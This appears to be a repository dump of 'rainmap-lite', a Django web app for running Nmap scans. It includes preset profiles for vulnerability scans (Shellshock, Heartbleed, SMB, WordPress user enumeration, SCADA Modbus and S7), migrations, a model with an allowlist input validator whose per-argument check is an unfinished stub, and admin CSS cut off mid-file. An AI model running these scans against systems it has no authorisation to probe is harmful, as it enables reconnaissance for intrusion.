\"args_text\": \"-p- -sV --script \\\"http-* and not(dos or brute)\\\"\", \"pub_date\": \"2016-07-24T18:54:02Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 25, \"fields\": {\"alias_text\": \"HTTP Shellshock Scan\", \"args_text\": \"-p- -sV --script http-shellshock\", \"pub_date\": \"2016-07-24T18:54:19Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 26, \"fields\": {\"alias_text\": \"HTTP MS15-034 Scan\", \"args_text\": \"-p80,433 -sV --script http-vuln-cve2015-1635\", \"pub_date\": \"2016-07-24T18:56:23Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 27, \"fields\": {\"alias_text\": \"HTTP IIS Short Name Scan\", \"args_text\": \"-p- -sV --script http-iis-short-name-brute\", \"pub_date\": \"2016-07-24T18:56:50Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 28, \"fields\": {\"alias_text\": \"IP Address Info Scan\", \"args_text\": \"-sn --script hostmap-ip2hosts,hostmap-bfk,hostmap-robtex,asn-query,whois-*\", \"pub_date\": \"2016-07-24T18:57:34Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 29, \"fields\": {\"alias_text\": \"JDWP Scan\", \"args_text\": \"-p- -sV --script jdwp-info,jdwp-version\", \"pub_date\": \"2016-07-24T18:58:09Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 30, \"fields\": {\"alias_text\": \"HTTP Phpself XSS Scan\", \"args_text\": \"-p- -sV --script http-phpself-xss\", \"pub_date\": \"2016-07-24T18:58:33Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 31, \"fields\": {\"alias_text\": \"RPC Scan\", \"args_text\": \"-p- -sV --script rpc-grind\", \"pub_date\": \"2016-07-24T18:59:24Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 32, \"fields\": {\"alias_text\": \"S7 Scan\", \"args_text\": \"--script s7-info.nse -p102\", \"pub_date\": \"2016-07-24T18:59:49Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 33, \"fields\": {\"alias_text\": \"SCADA Modbus Scan\", \"args_text\": \"--script modbus-discover --script-args=modbus-discover.aggressive=true -p 502\", \"pub_date\": \"2016-07-24T19:00:05Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 34, \"fields\": {\"alias_text\": \"SSL Scan\", \"args_text\": \"-p- -sV --script ssl*\", \"pub_date\": \"2016-07-24T19:01:12Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 35, \"fields\": {\"alias_text\": \"SSL Heartbleed Scan\", \"args_text\": \"-p- -sV --script ssl-heartbleed\", \"pub_date\": \"2016-07-24T19:01:41Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 36, \"fields\": {\"alias_text\": \"SMB Signing Scan\", \"args_text\": \"--script smb-security-mode -p139,445 -sU -sT\", \"pub_date\": \"2016-07-24T19:02:07Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 37, \"fields\": {\"alias_text\": \"SMB Vuln Scan\", \"args_text\": \"--script smb-vuln-* -p139,445 -sU -sT\", \"pub_date\": \"2016-07-24T19:02:21Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 38, \"fields\": {\"alias_text\": \"VNC Scan\", \"args_text\": \"-p- -sV --script vnc-info\", \"pub_date\": \"2016-07-24T19:02:41Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 39, \"fields\": {\"alias_text\": \"Vuln Scan\", \"args_text\": \"-p- -sV --script vuln\", \"pub_date\": \"2016-07-24T19:03:00Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 40, \"fields\": {\"alias_text\": \"Wordpress User Enum Scan\", \"args_text\": \"-p80 -sV --script http-wordpress-users\", \"pub_date\": \"2016-07-24T19:03:54Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 41, \"fields\": {\"alias_text\": \"Wordpress Enum Scan\", \"args_text\": \"-p- -sV --script http-wordpress-enum --script-args check-latest=true\", \"pub_date\": \"2016-07-24T19:04:10Z\"}}, {\"model\": \"nmaper.nmapprofile\", \"pk\": 42, \"fields\": {\"alias_text\": \"Full Service TCP Connect scripts\", \"args_text\": \"-sV --version-all -p- -sT -sC\", \"pub_date\": \"2016-07-24T19:07:41Z\"}}]"
  },
  {
    "path": "rainmap-lite/nmaper/forms.py",
    "content": "from django import forms\n\nclass ScanForm(forms.Form):\n    target = forms.CharField(label='target', max_length=100)\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0001_initial.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-07 22:23\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    initial = True\n\n    dependencies = [\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='NmapScan',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('target_text', models.CharField(max_length=1024)),\n                ('cmd_text', models.CharField(max_length=256)),\n                ('start_date', models.DateTimeField(verbose_name='date started')),\n                ('end_date', models.DateTimeField(verbose_name='date end')),\n            ],\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0002_nmapscan_email_text.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-07 22:29\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='nmapscan',\n            name='email_text',\n            field=models.CharField(default='websecweb@gmail.com', max_length=64),\n            preserve_default=False,\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0003_nmapprofile.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-07 22:41\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0002_nmapscan_email_text'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='NmapProfile',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('args_text', models.CharField(max_length=1024)),\n                ('pub_date', models.DateTimeField(verbose_name='date created')),\n            ],\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0004_nmapscan_status_text.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-07 23:03\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0003_nmapprofile'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='nmapscan',\n            name='status_text',\n            field=models.CharField(default='waiting', max_length=16),\n            preserve_default=False,\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0005_nmapprofile_profilename_text.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-07 23:16\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0004_nmapscan_status_text'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='nmapprofile',\n            name='profilename_text',\n            field=models.CharField(default='Default', max_length=32),\n            preserve_default=False,\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0006_auto_20160108_0128.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-08 01:28\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0005_nmapprofile_profilename_text'),\n    ]\n\n    operations = [\n        migrations.RenameField(\n            model_name='nmapprofile',\n            old_name='profilename_text',\n            new_name='alias_text',\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0007_nmapscan_slug_text.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-08 05:53\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0006_auto_20160108_0128'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='nmapscan',\n            name='slug_text',\n            field=models.CharField(default='', max_length=128),\n            preserve_default=False,\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0008_auto_20160108_0558.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-08 05:58\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0007_nmapscan_slug_text'),\n    ]\n\n    operations = [\n        migrations.RemoveField(\n            model_name='nmapscan',\n            name='slug_text',\n        ),\n        migrations.AddField(\n            model_name='nmapscan',\n            name='slug',\n            field=models.SlugField(default='', max_length=128),\n            preserve_default=False,\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0009_auto_20160108_0613.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-08 06:13\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0008_auto_20160108_0558'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='nmapscan',\n            name='email_text',\n            field=models.CharField(choices=[('waiting', 'Waiting'), ('running', 'Running'), ('finished', 'Finished')], max_length=8),\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0010_auto_20160108_0650.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-08 06:50\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0009_auto_20160108_0613'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='nmapscan',\n            name='email_text',\n            field=models.CharField(max_length=8),\n        ),\n        migrations.AlterField(\n            model_name='nmapscan',\n            name='status_text',\n            field=models.CharField(choices=[('waiting', 'Waiting'), ('running', 'Running'), ('finished', 'Finished')], max_length=16),\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0011_auto_20160108_0702.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-08 07:02\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0010_auto_20160108_0650'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='nmapscan',\n            name='email_text',\n            field=models.EmailField(max_length=32),\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0012_auto_20160109_0540.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-09 05:40\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0011_auto_20160108_0702'),\n    ]\n\n    operations = [\n        migrations.RemoveField(\n            model_name='nmapscan',\n            name='slug',\n        ),\n        migrations.AddField(\n            model_name='nmapscan',\n            name='uuid',\n            field=models.CharField(default='', max_length=128),\n            preserve_default=False,\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/migrations/0013_auto_20160111_0011.py",
    "content": "# -*- coding: utf-8 -*-\n# Generated by Django 1.9.1 on 2016-01-11 00:11\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('nmaper', '0012_auto_20160109_0540'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='nmapscan',\n            name='uuid',\n            field=models.CharField(max_length=32),\n        ),\n    ]\n"
  },
  {
    "path": "rainmap-lite/nmaper/models.py",
    "content": "from __future__ import unicode_literals\nimport re\nfrom django.db import models\nfrom django.forms import ModelForm\nfrom django.core.exceptions import ValidationError\n\nSCAN_STATUS = ( ('waiting','Waiting'),('running','Running'),('finished','Finished') )\n\ndef validate_cmd(str):\n    valid = re.match('^[\\sa-zA-Z0-9_/.,\\\"\\'\\=\\(\\)\\*-]*$', str)\n    if not valid:\n        raise ValidationError(u'%s is not a valid Nmap command' % str)\n\nclass NmapProfile(models.Model):\n    alias_text = models.CharField(max_length=32)\n    args_text = models.CharField(max_length=1024, validators=[validate_cmd])\n    pub_date = models.DateTimeField('date created')\n    def __str__(self):\n        return self.alias_text\n\nclass NmapScan(models.Model):\n    target_text = models.CharField(max_length=1024)\n    cmd_text = models.CharField(max_length=256, validators=[validate_cmd])\n    email_text = models.EmailField(max_length=254)\n    status_text = models.CharField(max_length=16, choices = SCAN_STATUS)\n    start_date = models.DateTimeField('date started')\n    end_date = models.DateTimeField('date end')\n    uuid = models.CharField(max_length=32)\n    def __str__(self):\n        return \"%s - %s\" % (self.cmd_text, self.email_text)\n    def valid_chars(self, str):\n        valid = re.match('^[\\sa-zA-Z0-9_/.,\\\"\\'\\=\\(\\)\\*-]*$', str)\n        if not valid:\n            return False\n        return True\n    def validate_opts(self, cmd):\n        if not self.valid_chars(cmd):\n            return False\n        for arg in cmd.split(\" \"):\n            if not self.valid_nmap_arg(arg):\n                return False\n        return True\n    def valid_nmap_arg(self, arg):\n        #TODO: Add regex to validate Nmap argument\n        return True\n    def valid_target(self, target):\n        if not self.valid_chars(target):\n            return False\n        return True\n\nclass ScanForm(ModelForm):\n    class Meta:\n        model = NmapScan\n        fields = ['target_text', 'email_text']\n\n"
  },
  {
    "path": "rainmap-lite/nmaper/static/admin/css/base.css",
    "content": "/*\n    DJANGO Admin styles\n*/\n\n@import url(fonts.css);\n\nbody {\n    margin: 0;\n    padding: 0;\n    font-size: 14px;\n    font-family: \"Roboto\",\"Lucida Grande\",\"DejaVu Sans\",\"Bitstream Vera Sans\",Verdana,Arial,sans-serif;\n    color: #333;\n    background: #fff;\n}\n\n/* LINKS */\n\na:link, a:visited {\n    color: #5e42a6;\n    text-decoration: none;\n}\n\na:focus, a:hover {\n    color: #f5dd5d;\n}\n\na:focus {\n    text-decoration: underline;\n}\n\na img {\n    border: none;\n}\n\na.section:link, a.section:visited {\n    color: #fff;\n    text-decoration: none;\n}\n\na.section:focus, a.section:hover {\n    text-decoration: underline;\n}\n\n/* GLOBAL DEFAULTS */\n\np, ol, ul, dl {\n    margin: .2em 0 .8em 0;\n}\n\np {\n    padding: 0;\n    line-height: 140%;\n}\n\nh1,h2,h3,h4,h5 {\n    font-weight: bold;\n}\n\nh1 {\n    margin: 0 0 20px;\n    font-weight: 300;\n    font-size: 20px;\n    color: #666;\n}\n\nh2 {\n    font-size: 16px;\n    margin: 1em 0 .5em 0;\n}\n\nh2.subhead {\n    font-weight: normal;\n    margin-top: 0;\n}\n\nh3 {\n    font-size: 14px;\n    margin: .8em 0 .3em 0;\n    color: #666;\n    font-weight: bold;\n}\n\nh4 {\n    font-size: 12px;\n    margin: 1em 0 .8em 0;\n    padding-bottom: 3px;\n}\n\nh5 {\n    font-size: 10px;\n    margin: 1.5em 0 .5em 0;\n    color: #666;\n    text-transform: uppercase;\n    letter-spacing: 1px;\n}\n\nul li {\n    list-style-type: square;\n    padding: 1px 0;\n}\n\nli ul {\n    margin-bottom: 0;\n}\n\nli, dt, dd {\n    font-size: 13px;\n    line-height: 20px;\n}\n\ndt {\n    font-weight: bold;\n    margin-top: 4px;\n}\n\ndd {\n    margin-left: 0;\n}\n\nform {\n    margin: 0;\n    padding: 0;\n}\n\nfieldset {\n    margin: 0;\n    padding: 0;\n    border: none;\n    border-top: 1px solid #eee;\n}\n\nblockquote {\n    font-size: 11px;\n    color: #777;\n    margin-left: 2px;\n    padding-left: 10px;\n    border-left: 5px solid #ddd;\n}\n\ncode, pre {\n    font-family: \"Bitstream Vera Sans Mono\", Monaco, \"Courier New\", Courier, monospace;\n    color: #666;\n    font-size: 12px;\n}\n\npre.literal-block {\n    margin: 10px;\n    background: #eee;\n    padding: 6px 8px;\n}\n\ncode strong {\n    color: #930;\n}\n\nhr {\n    clear: both;\n    color: #eee;\n    background-color: #eee;\n    height: 1px;\n    border: none;\n    margin: 0;\n    padding: 0;\n    font-size: 1px;\n    line-height: 1px;\n}\n\n/* TEXT STYLES & MODIFIERS */\n\n.small {\n    font-size: 11px;\n}\n\n.tiny {\n    font-size: 10px;\n}\n\np.tiny {\n    margin-top: -2px;\n}\n\n.mini {\n    font-size: 10px;\n}\n\np.mini {\n    margin-top: -3px;\n}\n\n.help, p.help, form p.help {\n    font-size: 11px;\n    color: #999;\n}\n\n.help-tooltip {\n    cursor: help;\n}\n\np img, h1 img, h2 img, h3 img, h4 img, td img {\n    vertical-align: middle;\n}\n\n.quiet, a.quiet:link, a.quiet:visited {\n    color: #999;\n    font-weight: normal;\n}\n\n.float-right {\n    float: right;\n}\n\n.float-left {\n    float: left;\n}\n\n.clear {\n    clear: both;\n}\n\n.align-left {\n    text-align: left;\n}\n\n.align-right {\n    text-align: right;\n}\n\n.example {\n    margin: 10px 0;\n    padding: 5px 10px;\n    background: #efefef;\n}\n\n.nowrap {\n    white-space: nowrap;\n}\n\n/* TABLES */\n\ntable {\n    border-collapse: collapse;\n    border-color: #ccc;\n}\n\ntd, th {\n    font-size: 13px;\n    line-height: 16px;\n    border-bottom: 1px solid #eee;\n    vertical-align: top;\n    padding: 8px;\n    font-family: \"Roboto\", \"Lucida Grande\", Verdana, Arial, sans-serif;\n}\n\nth {\n    font-weight: 600;\n    text-align: left;\n}\n\nthead th,\ntfoot td {\n    color: #666;\n    padding: 5px 10px;\n    font-size: 11px;\n    background: #fff;\n    border: none;\n    border-top: 1px solid #eee;\n    border-bottom: 1px solid #eee;\n}\n\ntfoot td {\n    border-bottom: none;\n    border-top: 1px solid #eee;\n}\n\ntr.alt {\n    background: #f6f6f6;\n}\n\n.row1 {\n    background: #fff;\n}\n\n.row2 {\n    background: #f9f9f9;\n}\n\n/* SORTABLE TABLES */\n\nthead th {\n    padding: 5px 10px;\n    line-height: normal;\n    text-transform: uppercase;\n    background: #f6f6f6;\n}\n\nthead th a:link, thead th a:visited {\n    color: #666;\n}\n\nthead th.sorted {\n    background: #eee;\n}\n\nthead th.sorted .text {\n    padding-right: 42px;\n}\n\ntable thead th .text span {\n    padding: 8px 10px;\n    display: block;\n}\n\ntable thead th .text a {\n    display: block;\n    cursor: pointer;\n    padding: 8px 10px;\n}\n\ntable thead th .text a:focus, table thead th .text a:hover {\n    background: #eee;\n}\n\nthead th.sorted a.sortremove {\n    visibility: hidden;\n}\n\ntable thead th.sorted:hover a.sortremove {\n    visibility: visible;\n}\n\ntable thead th.sorted .sortoptions {\n    display: block;\n    padding: 9px 5px 0 5px;\n    float: right;\n    text-align: right;\n}\n\ntable thead th.sorted .sortpriority {\n    font-size: .8em;\n    min-width: 12px;\n    text-align: center;\n    vertical-align: 3px;\n    margin-left: 2px;\n    margin-right: 2px;\n}\n\ntable thead th.sorted .sortoptions a {\n    position: relative;\n    width: 14px;\n    height: 14px;\n    display: inline-block;\n    background: url(../img/sorting-icons.svg) 0 0 no-repeat;\n    background-size: 14px auto;\n}\n\ntable thead th.sorted .sortoptions a.sortremove {\n    background-position: 0 0;\n}\n\ntable thead th.sorted .sortoptions a.sortremove:after {\n    content: '\\\\';\n    position: absolute;\n    top: -6px;\n    left: 3px;\n    font-weight: 200;\n    font-size: 18px;\n    color: #999;\n}\n\ntable thead th.sorted .sortoptions a.sortremove:focus:after,\ntable thead th.sorted .sortoptions a.sortremove:hover:after {\n    color: #5e42a6;\n}\n\ntable thead th.sorted .sortoptions a.sortremove:focus,\ntable thead th.sorted .sortoptions a.sortremove:hover {\n    background-position: 0 -14px;\n}\n\ntable thead th.sorted .sortoptions a.ascending {\n    background-position: 0 -28px;\n}\n\ntable thead th.sorted .sortoptions a.ascending:focus,\ntable thead th.sorted .sortoptions a.ascending:hover {\n    background-position: 0 -42px;\n}\n\ntable thead th.sorted .sortoptions a.descending {\n    top: 1px;\n    background-position: 0 -56px;\n}\n\ntable thead th.sorted .sortoptions a.descending:focus,\ntable thead th.sorted .sortoptions a.descending:hover {\n    background-position: 0 -70px;\n}\n\n/* FORM DEFAULTS */\n\ninput, textarea, select, .form-row p, form .button {\n    margin: 2px 0;\n    padding: 2px 3px;\n    vertical-align: middle;\n    font-family: \"Roboto\", \"Lucida Grande\", Verdana, Arial, sans-serif;\n    font-weight: normal;\n    font-size: 13px;\n}\n\ntextarea {\n    vertical-align: top;\n}\n\ninput[type=text], input[type=password], input[type=email], input[type=url],\ninput[type=number], textarea, select, .vTextField {\n    border: 1px solid #ccc;\n    border-radius: 4px;\n    padding: 5px 6px;\n    margin-top: 0;\n}\n\ninput[type=text]:focus, input[type=password]:focus, input[type=email]:focus,\ninput[type=url]:focus, input[type=number]:focus, textarea:focus, select:focus,\n.vTextField:focus {\n    border-color: #999;\n}\n\nselect {\n    height: 30px;\n}\n\nselect[multiple] {\n    min-height: 150px;\n}\n\n/* FORM BUTTONS */\n\n.button, input[type=submit], input[type=button], .submit-row input, a.button {\n    background: #5e42a6;\n    padding: 10px 15px;\n    border: none;\n    border-radius: 4px;\n    color: #fff;\n    cursor: pointer;\n}\n\na.button {\n    padding: 4px 5px;\n}\n\n.button:active, input[type=submit]:active, input[type=button]:active,\n.button:focus, input[type=submit]:focus, input[type=button]:focus,\n.button:hover, input[type=submit]:hover, input[type=button]:hover {\n    background: #312450;\n}\n\n.button[disabled], input[type=submit][disabled], input[type=button][disabled] {\n    opacity: 0.4;\n}\n\n.button.default, input[type=submit].default, .submit-row input.default {\n    float: right;\n    border: none;\n    font-weight: 400;\n    background: #5e42a6;\n}\n\n.button.default:active, input[type=submit].default:active,\n.button.default:focus, input[type=submit].default:focus,\n.button.default:hover, input[type=submit].default:hover {\n    background: #205067;\n}\n\n.button[disabled].default,\ninput[type=submit][disabled].default,\ninput[type=button][disabled].default {\n    opacity: 0.4;\n}\n\n\n/* MODULES */\n\n.module {\n    border: none;\n    margin-bottom: 30px;\n    background: #fff;\n}\n\n.module p, .module ul, .module h3, .module h4, .module dl, .module pre {\n    padding-left: 10px;\n    padding-right: 10px;\n}\n\n.module blockquote {\n    margin-left: 12px;\n}\n\n.module ul, .module ol {\n    margin-left: 1.5em;\n}\n\n.module h3 {\n    margin-top: .6em;\n}\n\n.module h2, .module caption, .inline-group h2 {\n    margin: 0;\n    padding: 8px;\n    font-weight: 400;\n    font-size: 13px;\n    text-align: left;\n    background: #5e42a6;\n    color: #fff;\n}\n\n.module caption,\n.inline-group h2 {\n    font-size: 12px;\n    letter-spacing: 0.5px;\n    text-transform: uppercase;\n}\n\n.module table {\n    border-collapse: collapse;\n}\n\n/* MESSAGES & ERRORS */\n\nul.messagelist {\n    padding: 0;\n    margin: 0;\n}\n\nul.messagelist li {\n    display: block;\n    font-weight: 400;\n    font-size: 13px;\n    padding: 10px 10px 10px 65px;\n    margin: 0 0 10px 0;\n    background: #dfd url(../img/icon-yes.svg) 40px 12px no-repeat;\n    background-size: 16px auto;\n    color: #333;\n}\n\nul.messagelist li.warning {\n    background: #ffc url(../img/icon-alert.svg) 40px 14px no-repeat;\n    background-size: 14px auto;\n}\n\nul.messagelist li.error {\n    background: #ffefef url(../img/icon-no.svg) 40px 12px no-repeat;\n    background-size: 16px auto;\n}\n\n.errornote {\n    font-size: 14px;\n    font-weight: 700;\n    display: block;\n    padding: 10px 12px;\n    margin: 0 0 10px 0;\n    color: #ba2121;\n    border: 1px solid #ba2121;\n    border-radius: 4px;\n    background-color: #fff;\n    background-position: 5px 12px;\n}\n\nul.errorlist {\n    margin: 0 0 4px;\n    padding: 0;\n    color: #ba2121;\n    background: #fff;\n}\n\nul.errorlist li {\n    font-size: 13px;\n    display: block;\n    margin-bottom: 4px;\n}\n\nul.errorlist li:first-child {\n    margin-top: 0;\n}\n\nul.errorlist li a {\n    color: inherit;\n    text-decoration: underline;\n}\n\ntd ul.errorlist {\n    margin: 0;\n    padding: 0;\n}\n\ntd ul.errorlist li {\n    margin: 0;\n}\n\n.form-row.errors {\n    margin: 0;\n    border: none;\n    border-bottom: 1px solid #eee;\n    background: none;\n}\n\n.form-row.errors ul.errorlist li {\n    padding-left: 0;\n}\n\n.errors input, .errors select, .errors textarea {\n    border: 1px solid #ba2121;\n}\n\ndiv.system-message {\n    background: #ffc;\n    margin: 10px;\n    padding: 6px 8px;\n    font-size: .8em;\n}\n\ndiv.system-message p.system-message-title {\n    padding: 4px 5px 4px 25px;\n    margin: 0;\n    color: #c11;\n    background: #ffefef url(../img/icon-no.svg) 5px 5px no-repeat;\n}\n\n.description {\n    font-size: 12px;\n    padding: 5px 0 0 12px;\n}\n\n/* BREADCRUMBS */\n\ndiv.breadcrumbs {\n    background: #5e42a6;\n    padding: 10px 40px;\n    border: none;\n    font-size: 14px;\n    color: #ffc;\n    text-align: left;\n}\n\ndiv.breadcrumbs a {\n    color: #fff;\n}\n\ndiv.breadcrumbs a:focus, div.breadcrumbs a:hover {\n    color: #f5dd5d;\n}\n\n/* ACTION ICONS */\n\n.addlink {\n    padding-left: 16px;\n    background: url(../img/icon-addlink.svg) 0 1px no-repeat;\n}\n\n.changelink, .inlinechangelink {\n    padding-left: 16px;\n    background: url(../img/icon-changelink.svg) 0 1px no-repeat;\n}\n\n.deletelink {\n    padding-left: 16px;\n    background: url(../img/icon-deletelink.svg) 0 1px no-repeat;\n}\n\na.deletelink:link, a.deletelink:visited {\n    color: #CC3434;\n}\n\na.deletelink:focus, a.deletelink:hover {\n    color: #993333;\n    text-decoration: none;\n}\n\n/* OBJECT TOOLS */\n\n.object-tools {\n    font-size: 10px;\n    font-weight: bold;\n    padding-left: 0;\n    float: right;\n    position: relative;\n    margin-top: -48px;\n}\n\n.form-row .object-tools {\n    margin-top: 5px;\n    margin-bottom: 5px;\n    float: none;\n    height: 2em;\n    padding-left: 3.5em;\n}\n\n.object-tools li {\n    display: block;\n    float: left;\n    margin-left: 5px;\n    height: 16px;\n}\n\n.object-tools a {\n    border-radius: 15px;\n}\n\n.object-tools a:link, .object-tools a:visited {\n    display: block;\n    float: left;\n    padding: 3px 12px;\n    background: #999;\n    font-weight: 400;\n    font-size: 11px;\n    text-transform: uppercase;\n    letter-spacing: 0.5px;\n    color: #fff;\n}\n\n.object-tools a:focus, .object-tools a:hover {\n    background-color: #5e42a6;\n}\n\n.object-tools a:focus{\n    text-decoration: none;\n}\n\n.object-tools a.viewsitelink, .object-tools a.golink,.object-tools a.addlink {\n    background-repeat: no-repeat;\n    background-position: 93% center;\n    padding-right: 26px;\n}\n\n.object-tools a.viewsitelink, .object-tools a.golink {\n    background-image: url(../img/tooltag-arrowright.svg);\n}\n\n.object-tools a.addlink {\n    background-image: url(../img/tooltag-add.svg);\n}\n\n/* OBJECT HISTORY */\n\ntable#change-history {\n    width: 100%;\n}\n\ntable#change-history tbody th {\n    width: 16em;\n}\n\n/* PAGE STRUCTURE */\n\n#container {\n    position: relative;\n    width: 100%;\n    min-width: 980px;\n    padding: 0;\n}\n\n#content {\n    padding: 20px 40px;\n}\n\n.dashboard #content {\n    width: 600px;\n}\n\n#content-main {\n    float: left;\n    width: 100%;\n}\n\n#content-related {\n    float: right;\n    width: 260px;\n    position: relative;\n    margin-right: -300px;\n}\n\n#footer {\n    clear: both;\n    padding: 10px;\n}\n\n/* COLUMN TYPES */\n\n.colMS {\n    margin-right: 300px;\n}\n\n.colSM {\n    margin-left: 300px;\n}\n\n.colSM #content-related {\n    float: left;\n    margin-right: 0;\n    margin-left: -300px;\n}\n\n.colSM #content-main {\n    float: right;\n}\n\n.popup .colM {\n    width: auto;\n}\n\n/* HEADER */\n\n#header {\n    width: auto;\n    height: 40px;\n    padding: 10px 40px;\n    background: #5e42a6;\n    line-height: 40px;\n    color: #ffc;\n    overflow: hidden;\n}\n\n#header a:link, #header a:visited {\n    color: #fff;\n}\n\n#header a:focus , #header a:hover {\n    text-decoration: underline;\n}\n\n#branding {\n    float: left;\n}\n\n#branding h1 {\n    padding: 0;\n    margin: 0 20px 0 0;\n    font-weight: 300;\n    font-size: 24px;\n    color: #f5dd5d;\n}\n\n#branding h1, #branding h1 a:link, #branding h1 a:visited {\n    color: #f5dd5d;\n}\n\n#branding h2 {\n    padding: 0 10px;\n    font-size: 14px;\n    margin: -8px 0 8px 0;\n    font-weight: normal;\n    color: #ffc;\n}\n\n#branding a:hover {\n    text-decoration: none;\n}\n\n#user-tools {\n    float: right;\n    padding: 0;\n    margin: 0 0 0 20px;\n    font-weight: 300;\n    font-size: 11px;\n    letter-spacing: 0.5px;\n    text-transform: uppercase;\n    text-align: right;\n}\n\n#user-tools a {\n    border-bottom: 1px solid rgba(255, 255, 255, 0.25);\n}\n\n#user-tools a:focus, #user-tools a:hover {\n    text-decoration: none;\n    border-bottom-color: #f5dd5d;\n    color: #f5dd5d;\n}\n\n/* SIDEBAR */\n\n#content-related {\n    background: #f8f8f8;\n}\n\n#content-related .module {\n    background: none;\n}\n\n#content-related h3 {\n    font-size: 14px;\n    color: #666;\n    padding: 0 16px;\n    margin: 0 0 16px;\n}\n\n#content-related h4 {\n    font-size: 13px;\n}\n\n#content-related p {\n    padding-left: 16px;\n    padding-right: 16px;\n}\n\n#content-related .actionlist {\n    padding: 0;\n    margin: 